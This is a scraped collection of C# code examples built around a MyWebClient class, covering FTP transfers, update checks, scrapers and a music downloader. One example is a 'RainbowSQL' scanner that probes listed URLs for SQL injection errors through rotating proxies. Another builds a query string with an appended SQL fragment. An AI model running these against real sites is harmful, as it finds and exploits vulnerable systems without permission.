//            totalQuedNum++;
//            var th = new Thread(unused => Search(num));
//            th.Start();
            //==================================

            if (highestBitrateTrack == null)
            {//Youtube
                EditList("Queued", result.PassedFileName, result.PassedNum, 1);
                _youtubeNum++;
                _totalQuedNum++;
                var th = new Thread(unused => Search(num, session));
                th.Start();
            }
            else
            {//MP3Clan
                songArray[session][num].PassedTrack = highestBitrateTrack;
                EditList("Queued", result.PassedFileName, result.PassedNum, 1);
                _mp3ClanNum++;
                _totalQuedNum++;

                var th = new Thread(unused => StartDownloadMp3Clan(num, session));
                th.Start();
            }
        }
Ejemplo n.º 46
0
        /// <summary>
        /// 通过实现 <see cref="T:System.Web.IHttpHandler"/> 接口的自定义 HttpHandler 启用 HTTP Web 请求的处理。
        /// </summary>
        /// <param name="context"><see cref="T:System.Web.HttpContext"/> 对象,它提供对用于为 HTTP 请求提供服务的内部服务器对象(如 Request、Response、Session 和 Server)的引用。</param>
        /// user:jyk
        /// time:2012/10/18 17:41
        public override void ProcessRequest(HttpContext context)
        {
            base.ProcessRequest(context);


            //获取隐藏在cookie里面的服务中心的用户ID
            HttpCookie ck = HttpContext.Current.Request.Cookies["userIDserviceByck"];

            if (ck == null)
            {
                context.Response.Write("{\"msg\":\"没有cookie\"}");
                return;
            }

            if (string.IsNullOrEmpty(ck.Value))
            {
                //没有用户ID,不能转发
                context.Response.Write("{\"msg\":\"没有cookie的用户ID\"}");
                return;
            }

            string url = context.Request.QueryString["url"];

            if (string.IsNullOrEmpty(url))
            {
                //没有url。
                url = "";
            }
            //context.Response.Write(url + "<br>");

            string query = context.Request.Url.Query;

            query = string.IsNullOrEmpty(query) ? "?userAppCookie=" + ck.Value : query + "&userAppCookie=" + ck.Value;

            query += "&action=savedata";

            //switch (url.ToLower())
            //{
            //    case "data":    //客户数据
            //        url = AppConfig.ResourceURL + "/data/PostData.ashx" + query;
            //        break;
            //    case "meta":    //元数据
            //        url = AppConfig.ResourceURL + "/data/PostMeta.ashx" + query;
            //        break;

            //    default:        //按照当前的网页地址转发
            //        if (AppConfig.DataServiceUrl != "http://" +  context.Request.Url.Host + ":" + context.Request.Url.Port.ToString(CultureInfo.InvariantCulture))
            //            url = AppConfig.ResourceURL + context.Request.Url.PathAndQuery + query;

            //        break;


            //}
            //context.Response.Write(url + "<br>");

            string msg = "";
            string re  = MyWebClient.PostAjax(url, out msg);

            var aa = Json.JsonToDictionary(re);

            if (aa == null)
            {
                context.Response.Write("{\"msg\":\"远程服务出现异常!" + url + "\"}");
                return;
            }

            if (aa.ContainsKey("err"))
            {
                msg = aa["err"];
            }

            if (msg.Length > 0)
            {
                //出现错误
                context.Response.Write("{\"msg\":\"" + msg + "\"}");
            }
            else
            {
                //正常
                context.Response.Write("{\"msg\":\"\"}");
            }
        }
Ejemplo n.º 47
0
        public virtual void SetDeviceRTC(string devid, DateTime dt)
        {
            //10.10.1.1:8080/street_light.set_rtc? dev=8201&rtc=13-08-31-12-10-11 
            MyWebClient wc = new MyWebClient();
            Stream stream;
            if (devid == "*")
                stream = wc.OpenRead(UriBase + "/lighting.set_rtc?rtc=" + dt.ToString("yy-MM-dd-HH-mm-ss"));
            else
                stream = wc.OpenRead(UriBase + "/lighting.set_rtc?dev=" + devid + "&rtc=" + dt.ToString("yy-MM-dd-HH-mm-ss"));

            while (stream.ReadByte() != -1) ;
            stream.Close();
            stream.Dispose();



        }
Ejemplo n.º 48
0
        /// <summary>
        /// 异步上传文件到FTP服务器, 上传一个文件时,目录不存在则创建
        /// </summary>
        /// <paramKey colName="LocalFullPath">本地带有完整路径的文件名</paramKey>
        /// <paramKey colName="RemoteFileName">要在FTP服务器上面保存文件名</paramKey>
        /// <paramKey colName="OverWriteRemoteFile">是否覆盖远程服务器上面同名的文件</paramKey>
        public void UploadFileAsync(string LocalFullPath, string RemoteFileName, bool OverWriteRemoteFile)
        {
            try
            {
                if (!IsValidFileChars(RemoteFileName) || !IsValidFileChars(Path.GetFileName(LocalFullPath)) || !IsValidPathChars(Path.GetDirectoryName(LocalFullPath)))
                {
                    throw new Exception("非法文件名或目录名!");
                }
                if (!OverWriteRemoteFile && FileExist(RemoteFileName))
                {
                    throw new Exception("FTP服务上面已经存在同名文件!");
                }
                if (RemoteFileName.Contains("/"))
                {
                    string str = RemoteFileName.Substring(0, RemoteFileName.LastIndexOf("/"));
                    if (!str.Equals(""))
                    {
                        MakeDirectory(str);//先创建文件所在目录
                        //RemoteFileName = RemoteFileName.TrimStart('/');
                    }

                }
                if (File.Exists(LocalFullPath))
                {
                    client = new MyWebClient();

                    client.UploadProgressChanged += new UploadProgressChangedEventHandler(client_UploadProgressChanged);
                    client.UploadFileCompleted += new UploadFileCompletedEventHandler(client_UploadFileCompleted);
                    client.Credentials = new NetworkCredential(this.UserName, this.Password);
                    if (this.Proxy != null)
                    {
                        client.Proxy = this.Proxy;
                    }
                    client.usePassive = this.userPassive;
                    //如果文件名称不为空,并且ftp地址最后不是一/结束,则添加/
                    if (!this.Uri.ToString().EndsWith("/") && !RemoteFileName.StartsWith("/") && !RemoteFileName.Equals(""))
                    {
                        RemoteFileName = "/" + RemoteFileName;
                    }
                    if (this.Uri.ToString().EndsWith("/"))
                    {
                        RemoteFileName = RemoteFileName.TrimStart('/');
                    }
                    client.timeOut = 200;
                    client.UploadFileAsync(new Uri(this.Uri.ToString() + RemoteFileName), LocalFullPath);

                }
                else
                {
                    throw new Exception("本地文件不存在!");
                }
            }
            catch (Exception ep)
            {
                ErrorMsg = ep.ToString();
                throw ep;
            }
        }
Ejemplo n.º 49
0
        public static CodeplexReleases CheckForUpdates()
        {
            if (GlobalSettings.Default.AlwaysCheckForUpdates.HasValue && !GlobalSettings.Default.AlwaysCheckForUpdates.Value)
            {
                return(null);
            }

#if DEBUG
            // Skip the load check, as it may take a few seconds during development.
            if (Debugger.IsAttached)
            {
                return(null);
            }
#endif

            var    currentVersion = GlobalSettings.GetAppVersion();
            string webContent;
            string link;

            // Create the WebClient with Proxy Credentials.
            using (var webclient = new MyWebClient())
            {
                try
                {
                    if (webclient.Proxy != null)
                    {
                        // For Proxy servers on Corporate networks.
                        webclient.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
                    }
                }
                catch
                {
                    // Reading from the Proxy may cause a network releated error.
                    // Error creating the Web Proxy specified in the 'system.net/defaultProxy' configuration section.
                }
                webclient.Headers.Add(HttpRequestHeader.UserAgent, string.Format("Mozilla/5.0 ({0}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36", Environment.OSVersion)); // Crude useragent.
                webclient.Headers.Add(HttpRequestHeader.Referer, string.Format("https://setoolbox.codeplex.com/updatecheck?current={0}", currentVersion));

                try
                {
                    webContent = webclient.DownloadString(UpdatesUrl);
                }
                catch
                {
                    // Ignore any errors.
                    // If it cannot connect, then there may be an intermittant connection issue, either with the internet, or codeplex (which has happened before).
                    return(null);
                }

                if (string.IsNullOrEmpty(webContent))
                {
                    return(null);
                }

                // link should be in the form "http://setoolbox.codeplex.com/releases/view/120855"
                link = webclient.ResponseUri == null ? null : webclient.ResponseUri.AbsoluteUri;
            }

            // search for html in the form:  <h1 class="page_title wordwrap">SEToolbox 01.025.021 Release 2</h1>
            var match = Regex.Match(webContent, @"\<h1 class=\""(?:[^\""]*)\""\>(?<title>(?:[^\<\>\""]*?))\s(?<version>[^\<\>\""]*)\<\/h1\>");

            if (!match.Success)
            {
                return(null);
            }

            var item = new CodeplexReleases {
                Link = link, Version = GetVersion(match.Groups["version"].Value)
            };
            Version ignoreVersion;
            Version.TryParse(GlobalSettings.Default.IgnoreUpdateVersion, out ignoreVersion);
            if (item.Version > currentVersion && item.Version != ignoreVersion)
            {
                return(item);
            }

            return(null);
        }
Ejemplo n.º 50
0
        public virtual void SetStreetLightRemark(string devid, string remark)
        {
            MyWebClient wc = new MyWebClient();
            string result = "";
            if (remark.Length > 64)
                result = remark.Substring(0, 64);
            else
                result = remark.PadRight(64, '0');
            using (Stream stream = wc.OpenRead(UriBase + "/lighting.set_remark?dev=" + devid + "&remark=" + result))
            {
                while (stream.ReadByte() != -1) ;
            }


        }
Ejemplo n.º 51
0
Archivo: Get.cs Proyecto: ren85/Test_it
        public void DoWorkAsync(string nr, Action callback)
        {
            try
            {
                DateTime start = DateTime.Now;
                using (MyWebClient client = new MyWebClient())
                {
                    foreach (var header in request.Headers)
                        client.Headers[header.Key] = header.Value;
                    foreach (var header in request.CommonHeaders)
                        client.Headers[header.Key] = header.Value;

                    if (request.IsResponseBinary)
                    {
                        client.DownloadDataCompleted += (s, e) =>
                            {
                                try
                                {
                                    ResponseTimeInMilliseconds = (int)(DateTime.Now - start).TotalMilliseconds;

                                    if (e.Error != null)
                                    {
                                        IsFailure = true;
                                        FailureReason = "General failure: " + (e.Error.InnerException != null ? e.Error.InnerException.Message : e.Error.Message);
                                        FailureTime = DateTime.Now;
                                    }
                                    else if (e.Result.Count() != request.BinaryResponseSizeInBytesShouldBe)
                                    {
                                        IsFailure = true;
                                        FailureReason = string.Format("Bad response, binary response size was {0} bytes, expected {1} bytes", e.Result.Count(), request.BinaryResponseSizeInBytesShouldBe);
                                        FailureTime = DateTime.Now;
                                        if (e.Result != null)
                                            DownloadedBytes = e.Result.Count();
                                    }
                                    else
                                    {
                                        if (e.Result != null)
                                            DownloadedBytes = e.Result.Count();
                                    }
                                }
                                catch (Exception ex)
                                {
                                    IsFailure = true;
                                    FailureReason = "General failure: " + (ex.InnerException != null ? ex.InnerException.Message : ex.Message);
                                    FailureTime = DateTime.Now;
                                }
                                finally
                                {
                                    callback();
                                }
                            };
                        var uri = new Uri(request.Url);
                        //var servicePoint = ServicePointManager.FindServicePoint(uri);
                        //servicePoint.Expect100Continue = false;
                        System.Net.ServicePointManager.Expect100Continue = false;
                        client.DownloadDataAsync(uri);
                    }
                    else
                    {
                        client.Encoding = Encoding.UTF8;
                        client.DownloadStringCompleted += (s, e) =>
                            {
                                try
                                {
                                    ResponseTimeInMilliseconds = (int)(DateTime.Now - start).TotalMilliseconds;
                                    if (e.Result != null)
                                        DownloadedBytes = System.Text.Encoding.UTF8.GetBytes(e.Result).Count();

                                    if (e.Error != null)
                                    {
                                        IsFailure = true;
                                        FailureReason = "General failure: " + (e.Error.InnerException != null ? e.Error.InnerException.Message : e.Error.Message);
                                        FailureTime = DateTime.Now;
                                    }
                                    else if (!string.IsNullOrEmpty(request.ResponseShouldContain) && !e.Result.Contains(request.ResponseShouldContain))
                                    {
                                        IsFailure = true;
                                        FailureReason = string.Format("Bad response, should-be-there string not found: ({0})", request.ResponseShouldContain);
                                        FailureTime = DateTime.Now;
                                    }
                                }
                                catch (Exception ex)
                                {
                                    IsFailure = true;
                                    FailureReason = "General failure: " + (ex.InnerException != null ? ex.InnerException.Message : ex.Message);
                                    FailureTime = DateTime.Now;
                                }
                                finally
                                {
                                    callback();
                                }
                            };
                        var uri = new Uri(request.Url);
                        //var servicePoint = ServicePointManager.FindServicePoint(uri);
                        //servicePoint.Expect100Continue = false;
                        System.Net.ServicePointManager.Expect100Continue = false;
                        client.DownloadStringAsync(uri);
                    }
                }
            }
            catch (Exception e)
            {
                IsFailure = true;
                FailureReason = "General failure: " + (e.InnerException != null ? e.InnerException.Message : e.Message);
                FailureTime = DateTime.Now;
                callback();
            }
        }
Ejemplo n.º 52
0
        /// <summary>
        /// 异步上传文件到FTP服务器
        /// </summary>
        /// <param name="LocalFullPath">本地带有完整路径的文件名</param>
        /// <param name="RemoteFileName">要在FTP服务器上面保存文件名</param>
        /// <param name="OverWriteRemoteFile">是否覆盖远程服务器上面同名的文件</param>
        public void UploadFileAsync(string LocalFullPath, string RemoteFileName, bool OverWriteRemoteFile)
        {
            try
            {
                if (!IsValidFileChars(RemoteFileName) || !IsValidFileChars(Path.GetFileName(LocalFullPath)) || !IsValidPathChars(Path.GetDirectoryName(LocalFullPath)))
                {
                    throw new Exception("非法文件名或目录名!");
                }
                if (!OverWriteRemoteFile && FileExist(RemoteFileName))
                {
                    throw new Exception("FTP服务上面已经存在同名文件!");
                }
                if (File.Exists(LocalFullPath))
                {
                    MyWebClient client = new MyWebClient();

                    client.UploadProgressChanged += new UploadProgressChangedEventHandler(client_UploadProgressChanged);
                    client.UploadFileCompleted += new UploadFileCompletedEventHandler(client_UploadFileCompleted);
                    client.Credentials = new NetworkCredential(this.UserName, this.Password);
                    if (this.Proxy != null)
                    {
                        client.Proxy = this.Proxy;
                    }
                    client.UploadFileAsync(new Uri(this.Uri.ToString() + RemoteFileName), LocalFullPath);

                }
                else
                {
                    throw new Exception("本地文件不存在!");
                }
            }
            catch (Exception ep)
            {
                ErrorMsg = ep.ToString();
                throw ep;
            }
        }
Ejemplo n.º 53
0
        public override List <Img> GetImages(string pageString, System.Net.IWebProxy proxy)
        {
            List <Img>   list     = new List <Img>();
            HtmlDocument document = new HtmlDocument();

            document.LoadHtml(pageString);
            HtmlNodeCollection nodes = document.DocumentNode.SelectNodes("//article");

            if (nodes == null)
            {
                return(list);
            }

            foreach (HtmlNode node in nodes)
            {
                HtmlNode node2 = node.SelectSingleNode("a");
                HtmlNode node3 = node2.SelectSingleNode("img");

                string detailUrl = FormattedImgUrl(node2.Attributes["href"].Value);

                Img item = new Img()
                {
                    Desc       = node.Attributes["data-tags"].Value,
                    Height     = Convert.ToInt32(node.Attributes["data-height"].Value),
                    Id         = Convert.ToInt32(node.Attributes["data-id"].Value),
                    Author     = node.Attributes["data-uploader"].Value,
                    IsExplicit = node.Attributes["data-rating"].Value == "e",
                    Tags       = node.Attributes["data-tags"].Value,
                    Width      = Convert.ToInt32(node.Attributes["data-width"].Value),
                    PreviewUrl = FormattedImgUrl(node3.Attributes["src"].Value),
                    DetailUrl  = detailUrl
                };


                item.DownloadDetail = (i, p) =>
                {
                    string html = new MyWebClient {
                        Proxy = p, Encoding = Encoding.UTF8
                    }.DownloadString(i.DetailUrl);
                    HtmlDocument doc = new HtmlDocument();
                    doc.LoadHtml(html);
                    HtmlNodeCollection sectionNodes = doc.DocumentNode.SelectNodes("//section");
                    bool haveurl = false, iszip = false;
                    foreach (HtmlNode n in sectionNodes)
                    {
                        var ns = n.SelectNodes(".//li");
                        if (ns == null)
                        {
                            continue;
                        }
                        foreach (HtmlNode n1 in ns)
                        {
                            if (n1.InnerText.Contains("Date:"))
                            {
                                i.Date = n1.SelectSingleNode(".//time").Attributes["title"].Value;
                            }
                            if (n1.InnerText.Contains("Size:"))
                            {
                                haveurl       = true;
                                i.OriginalUrl = FormattedImgUrl(n1.SelectSingleNode(".//a").Attributes["href"].Value);
                                i.JpegUrl     = i.OriginalUrl;
                                i.FileSize    = n1.SelectSingleNode(".//a").InnerText;
                                i.Dimension   = n1.InnerText.Substring(n1.InnerText.IndexOf('(') + 1, n1.InnerText.LastIndexOf(')') - n1.InnerText.IndexOf('(') - 1);
                            }
                            if (n1.InnerText.Contains("Score:"))
                            {
                                i.Score = Convert.ToInt32(n1.SelectSingleNode(".//span").InnerText);
                            }
                        }
                        //原图地址不应该是zip
                        if (haveurl && i.OriginalUrl.Substring(i.OriginalUrl.LastIndexOf("."), i.OriginalUrl.Length - i.OriginalUrl.LastIndexOf(".")).ToLower() == ".zip" &&
                            n.InnerText.Contains("Save this video"))
                        {
                            iszip = true;
                            HtmlNode n2 = n.SelectSingleNode("//section[@id='image-container']");
                            i.OriginalUrl = FormattedImgUrl(n2.Attributes["data-large-file-url"].Value);
                            i.JpegUrl     = i.OriginalUrl;
                        }
                    }
                    i.SampleUrl = iszip ? i.JpegUrl : FormattedImgUrl(doc.DocumentNode.SelectSingleNode("//img[@id='image']").Attributes["src"].Value);
                };
                list.Add(item);
            }

            return(list);
        }
Ejemplo n.º 54
0
        /// <summary>
        /// 从FTP服务器异步下载文件,指定本地完整路径文件名
        /// </summary>
        /// <param name="RemoteFileName">远程文件名</param>
        /// <param name="LocalFullPath">本地完整路径文件名</param>
        public void DownloadFileAsync(string RemoteFileName, string LocalFullPath)
        {
            try
            {
                if (!IsValidFileChars(RemoteFileName))
                {
                    throw new Exception("非法文件名或目录名!");
                }
                if (File.Exists(LocalFullPath))
                {
                    throw new Exception("当前路径下已经存在同名文件!");
                }
                MyWebClient client = new MyWebClient();

                client.DownloadProgressChanged += new DownloadProgressChangedEventHandler(client_DownloadProgressChanged);
                client.DownloadFileCompleted += new System.ComponentModel.AsyncCompletedEventHandler(client_DownloadFileCompleted);
                client.Credentials = new NetworkCredential(this.UserName, this.Password);
                if (this.Proxy != null)
                {
                    client.Proxy = this.Proxy;
                }
                client.DownloadFileAsync(new Uri(this.Uri.ToString() + RemoteFileName), LocalFullPath);
            }
            catch (Exception ep)
            {
                ErrorMsg = ep.ToString();
                throw ep;
            }
        }
Ejemplo n.º 55
0
        public static Tuple <string, bool> UpdateTimetable(string user, string pass)
        {
            try
            {
                MyWebClient web = new MyWebClient();
                web.Proxy = null;
                CredentialCache myCache = new CredentialCache();
                if (user.Trim() != "" && pass.Trim() != "")
                {
                    myCache.Add(new Uri("https://intranet.trinity.vic.edu.au/"), "NTLM",
                                new NetworkCredential(user, pass));
                    web.Credentials = myCache;
                }
                else
                {
                    web.Credentials = CredentialCache.DefaultNetworkCredentials;
                }

                String html  = web.DownloadString("https://intranet.trinity.vic.edu.au/timetable/default.asp");
                Match  match = Regex.Match(html, "<input type=\"hidden\" value=\"(.*?)\" id=\"callType\">",
                                           RegexOptions.IgnoreCase);
                if (match.Success)
                {
                    Program.Calltype = match.Groups[1].Value;
                }

                match = Regex.Match(html, "<input type=\"hidden\" value=\"(.*?)\" id=\"synID\">",
                                    RegexOptions.IgnoreCase);
                if (match.Success)
                {
                    Program.SettingsData.SynID = Convert.ToInt32(match.Groups[1].Value);
                }

                match = Regex.Match(html, "value=\"(.*?)\" id=\"curTerm\"", RegexOptions.IgnoreCase);
                if (match.Success)
                {
                    Program.SettingsData.Curterm = Convert.ToInt32(match.Groups[1].Value);
                }

                string sqlquery = "";
                if (Program.Calltype == "student")
                {
                    sqlquery =
                        "%20AND%20TD.PeriodNumber%20>=%200%20AND%20TD.PeriodNumberSeq%20=%201AND%20(stopdate%20IS%20NULL%20OR%20stopdate%20>%20getdate())--";
                }
                if (Program.SettingsData.Curterm == 0)
                {
                    for (int i = 4; i > 0; i--)
                    {
                        html = web.DownloadString(
                            "https://intranet.trinity.vic.edu.au/timetable/getTimetable1.asp?synID=" + Program.SettingsData.SynID +
                            "&year=" + DateTime.Now.Year + "&term=" + i + sqlquery + "&callType=" + Program.Calltype);
                        if (html.Length > 10)
                        {
                            Program.SettingsData.Curterm = i;
                            html = html.Substring(html.IndexOf("["));
                            break;
                        }
                    }
                }
                else
                {
                    html = web.DownloadString("https://intranet.trinity.vic.edu.au/timetable/getTimetable1.asp?synID=" +
                                              Program.SettingsData.SynID + "&year=" + DateTime.Now.Year + "&term=" +
                                              Program.SettingsData.Curterm + sqlquery + "&callType=" +
                                              Program.Calltype);
                    html = html.Substring(html.IndexOf("["));
                }

                List <Period> timetableList = JsonConvert.DeserializeObject <List <Period> >(html);
                using (StreamWriter file = File.CreateText(Program.SETTINGS_DIRECTORY + "/Timetable.Json"))
                {
                    JsonSerializer serializer = new JsonSerializer();
                    serializer.Formatting = Formatting.Indented;
                    serializer.Serialize(file, timetableList);
                }

                Int16 colorint = 0;
                Program.TimetableList.Clear();
                Dictionary <string, int> yearlevel = new Dictionary <string, int>();
                for (int i = 1; i < 13; i++)
                {
                    string p = i < 10 ? "0" : "";
                    yearlevel.Add(p + i, 0);
                }
                foreach (var v in timetableList)
                {
                    if (!Program.ColorRef.ContainsKey(v.ClassCode))
                    {
                        Program.ColorRef.Add(v.ClassCode, Program.ColourTable[colorint]);
                        colorint++;
                        if (colorint >= Program.ColourTable.Count)
                        {
                            colorint = 0;
                        }
                    }

                    Program.TimetableList.Add(v.DayNumber.ToString() + v.PeriodNumber, v);
                    if (yearlevel.ContainsKey(v.ClassCode.Substring(0, 2)))
                    {
                        yearlevel[v.ClassCode.Substring(0, 2)] += 1;
                    }
                }

                web.Dispose();
                //Analytics reporting
                string currentyear = yearlevel.Aggregate((l, r) => l.Value > r.Value ? l : r).Key;
                if (currentyear == "12" && yearlevel["12"] == 0)
                {
                    //do nothing
                }
                else
                {
                    Program.SettingsData.CurrentYearlevel = int.Parse(currentyear);
                }
            }
            catch (WebException ee)
            {
                if (ee.Message.Contains("Unauthorized"))
                {
                    return(new Tuple <string, bool>("Unauthorised", false));
                }

                return(new Tuple <string, bool>(ee.Message, false));
            }
            catch (Exception ee)
            {
                return(new Tuple <string, bool>(ee.Message, false));
            }
            return(new Tuple <string, bool>("Successful!", true));
        }
Ejemplo n.º 56
0
        public void DownloadMP3Clan(int num, int session)
        {
            PassArguments result = songArray[session][num];
            
            EditList("Loading...", result.PassedFileName, result.PassedNum, 0);

            int highestBitrateNum = 0;
            Mp3ClanTrack highestBitrateTrack = null;
            List<Mp3ClanTrack> tracks = null;

            const string searchBaseUrl = "http://mp3clan.com/mp3_source.php?q={0}";
            var searchUrl = new Uri(string.Format(searchBaseUrl, Uri.EscapeDataString(result.PassedSong)));
            string pageSource = null;

            while (true)
            {
                try
                {
                    pageSource = new MyWebClient().DownloadString(searchUrl);
                    break;
                }
                catch (WebException e)
                {
                    if (e.Status == WebExceptionStatus.ProtocolError)
                    {
                        EditList("Queued", result.PassedFileName, result.PassedNum, 1); //In Que so when its less than 5 it will start 
                        _youtubeNum++;
                        _totalQuedNum++;
                        var th = new Thread(unused => Search(num, session));
                        th.Start();
                        return;
                    }
                    Log("[Error: x3] " + e.Message + " | " + result.PassedFileName, true);
                }
            }
            

            IEnumerable<Mp3ClanTrack> trackResualt;
            if (Mp3ClanTrack.TryParseFromSource(pageSource, out trackResualt))
            {
                tracks = trackResualt.ToList();
                foreach (var track in tracks)
                {
                    if (track.Artist.ToLower().Trim().Contains(result.PassedArtist.ToLower()) &&
                        track.Name.ToLower().Trim().Equals(result.PassedSong.ToLower()))
                    {
                        string bitrateString = null;
                        int attempts = 0;
                        while (true)
                        {
                            try
                            {
                                bitrateString = new MyWebClient().DownloadString("http://mp3clan.com/bitrate.php?tid=" + track.Mp3ClanUrl.Replace("http://mp3clan.com/app/get.php?mp3=", ""));
                                break;
                            }
                            catch (Exception ex)
                            {
                                attempts++;
                                if (attempts > 2)
                                {
                                    Log("[Infomation: x4] " + result.PassedFileName + " " + ex.Message);
                                    bitrateString = "0 kbps";
                                    break;
                                }
                            }
                        }

                        int bitrate = Int32.Parse(GetKbps(bitrateString));
                        if (bitrate >= 192)
                        {
                            if (bitrate > highestBitrateNum)
                            {
                                double persentage = (GetLength(bitrateString) / result.PassedLength) * 100;
//                                double durationMS = TimeSpan.FromMinutes(getLength(bitrateString)).TotalMilliseconds;
//                                double persentage = (durationMS/result.passedLengthMS)*100;
                                if (persentage >= 85 && persentage <= 115)
                                {
//                                    Log("Length acc: " + string.Format("{0:0.00}", persentage) + "%");
                                    highestBitrateNum = bitrate;
                                    highestBitrateTrack = track;
                                }
                            }
                        }
                    }
                }
            }
            //=======For testing================
//            EditList("Queued", result.passedFileName, result.passedNum, 1);
//            youtubeNum++;
//            totalQuedNum++;
//            var th = new Thread(unused => Search(num));
//            th.Start();
            //==================================

            if (highestBitrateTrack == null)
            {//Youtube
                EditList("Queued", result.PassedFileName, result.PassedNum, 1);
                _youtubeNum++;
                _totalQuedNum++;
                var th = new Thread(unused => Search(num, session));
                th.Start();
            }
            else
            {//MP3Clan
                songArray[session][num].PassedTrack = highestBitrateTrack;
                EditList("Queued", result.PassedFileName, result.PassedNum, 1);
                _mp3ClanNum++;
                _totalQuedNum++;

                var th = new Thread(unused => StartDownloadMp3Clan(num, session));
                th.Start();
            }
        }
Ejemplo n.º 57
0
        //SQL INJECTION SCANNERS
        private static void SQL_ERROR_SCANNER2()

        {
            //Prepare Scanner.
            Console.ForegroundColor = ConsoleColor.White;
            Console.WriteLine("[I] Put all urls in urls.txt file and click Enter.");
            Console.ReadKey();
            LoadUrls();
            Console.ForegroundColor = ConsoleColor.White;
            Console.WriteLine("[I] Do you want to use proxies(y/n)?");
            Console.Write("\nRainbowSQL/>");
            string option = Console.ReadLine().ToLower();

            Console.ForegroundColor = ConsoleColor.White;
            Console.WriteLine("[I] Please specify number of threads!");
            Console.Write("\nRainbowSQL/>");
            int threads = Convert.ToInt32(Console.ReadLine());

            //Load proxies if user agreed.
            if (option == "y")
            {
                LoadProxies();
            }
            Console.WriteLine("Starting scanning for SQL errors!");

            //MULTI F*****G THREADING.
            Parallel.For(0, urls.Count, new ParallelOptions {
                MaxDegreeOfParallelism = threads
            }, x =>
            {
                //Prepare webclient
                MyWebClient client = new MyWebClient();
                client.Headers.Add("User-Agent", "Mozilla/5.0 (Linux; Android 9; STF-L09 Build/HUAWEISTF-L09; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.117 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/267.1.0.46.120;]");
                string url = urls[x];

                //Ger parameter list from url
                var uriBuilder = new UriBuilder(url);
                var query      = HttpUtility.ParseQueryString(uriBuilder.Query);

                //Loop through every parameter
                foreach (string parameter_name in query)
                {
                    int success      = 0;
                    int Proxy_Number = 0;                                    // Number of proxy used for this page
                    int ThreadID     = Thread.CurrentThread.ManagedThreadId; //used to determinate id of thread

                    //Loop until success to prevent loosing websites due to bad proxies
                    while (success != 1)
                    {
                        try
                        {
                            if (ThreadID == 1)
                            {
                                WriteStatusSQLERROR();
                            }
                            //Check if proxies left
                            if (option == "y" && proxies.Count() == 0)
                            {
                                //Well we are f****d. No proxies left. FBI is after us

                                //Write only from 1 thread.
                                if (ThreadID == 1)
                                {
                                    Console.Clear();
                                    Console.ForegroundColor = ConsoleColor.Red;
                                    Console.WriteLine("[!] No Proxies left.Click enter to exit!");
                                    //Write all found urls to file!
                                    File.WriteAllLines("vulnerable.txt", vulnerable);
                                    Console.ReadKey();
                                    Environment.Exit(1);
                                }
                            }

                            //SET PROXY
                            if (option == "y")
                            {
                                string[] Proxy_data = PickRandomProxy();
                                string ip           = Proxy_data[0];
                                int port            = Convert.ToInt32(Proxy_data[1]);
                                Proxy_Number        = Convert.ToInt32(Proxy_data[2]);
                            }

                            //Append semicolon to parameter to check for SQL error
                            var param = query[parameter_name] + "'";

                            //Build new url.For anyone reading this, IDK how to do this otherwise so f**k off.
                            string replace_string_original = System.Web.HttpUtility.UrlEncode(parameter_name) + "=" + System.Web.HttpUtility.UrlEncode(query[parameter_name]);
                            string replace_string_new      = System.Web.HttpUtility.UrlEncode(parameter_name) + "=" + System.Web.HttpUtility.UrlEncode(param);
                            uriBuilder.Query = query.ToString().Replace(replace_string_original, replace_string_new);
                            string NewUrl    = uriBuilder.ToString();

                            //GET html and check if it contains any error.
                            string htmlCode = client.DownloadString(NewUrl);
                            if (SQL_Errors.Any(c => htmlCode.Contains(c)))
                            {
                                //Check if url is not in vulnerable list.
                                if (!vulnerable.Contains(url))
                                {
                                    vulnerable.Add(url);
                                }
                            }

                            //Set success to 1 to exit loop and get another parameter
                            success = 1;
                        }
                        catch (Exception e)
                        {
                            //If proxy enabled and it failed then there is problem with proxy. Remove it
                            if (option == "y")
                            {
                                RemoveProxy(Proxy_Number);
                            }
                            else
                            {
                                //We cant be banned, cause like how. Only one request was made so there is some error on page. 404 or smh. Just skip over this element by setting success to 1.
                                success = 1;
                            }
                        }
                    }
                }
                //Add processed
                Processed_urls++;
            });
            WriteStatusSQLERROR();
            //Write all data to file!
            //Scraping has ended. Write ending
            Console.ForegroundColor = ConsoleColor.Green;
            Console.WriteLine("\n\n\n\n\n[S]Testing has ended! Click enter to exit!");
            Console.ForegroundColor = ConsoleColor.White;
            //Save urls to file
            File.WriteAllLines("vulnerable.txt", vulnerable);
            Console.ReadKey();
        }
Ejemplo n.º 58
0
 private void DoRetweet_Click(object sender, RoutedEventArgs e)
 {
     VisualStateManager.GoToState(this, "Retweeting", true);
     if (AlreadyRetweeted == false)
     {
         AlreadyRetweeted = true;
         TwitterMessage message = DataContext as TwitterMessage;
         if (message != null)
         {
             string uri = "http://api.twitter.com/1/statuses/retweet/" + message.Id + ".xml";
             MyWebClient client = new MyWebClient();
             client.OAuthHelper = new OAuthHelper();
             client.DoPostCompleted += new EventHandler<DoPostCompletedEventArgs>(RetweetCompleted);
             client.DoPostAsync(new Uri(uri, UriKind.Absolute));
             //HttpWebRequest request = (HttpWebRequest)WebRequest.Create(new Uri(uri, UriKind.Absolute));
             //request.Method = "POST";
             //request.BeginGetResponse(new AsyncCallback(RetweetResponse), request);
         }
     }
 }
Ejemplo n.º 59
0
        public static ApplicationRelease CheckForUpdates(CodeRepositoryType repositoryType, string updatesUrl)
        {
            if (GlobalSettings.Default.AlwaysCheckForUpdates.HasValue && !GlobalSettings.Default.AlwaysCheckForUpdates.Value)
            {
                return(null);
            }

#if DEBUG
            // Skip the load check, as it may take a few seconds during development.
            if (Debugger.IsAttached)
            {
                return(null);
            }
#endif

            var    currentVersion = GlobalSettings.GetAppVersion();
            string webContent;
            string link;

            // Create the WebClient with Proxy Credentials.
            using (var webclient = new MyWebClient())
            {
                try
                {
                    if (webclient.Proxy != null)
                    {
                        // For Proxy servers on Corporate networks.
                        webclient.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
                    }
                }
                catch
                {
                    // Reading from the Proxy may cause a network releated error.
                    // Error creating the Web Proxy specified in the 'system.net/defaultProxy' configuration section.
                }
                webclient.Headers.Add(HttpRequestHeader.UserAgent, string.Format("Mozilla/5.0 ({0}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36", Environment.OSVersion)); // Crude useragent.

                try
                {
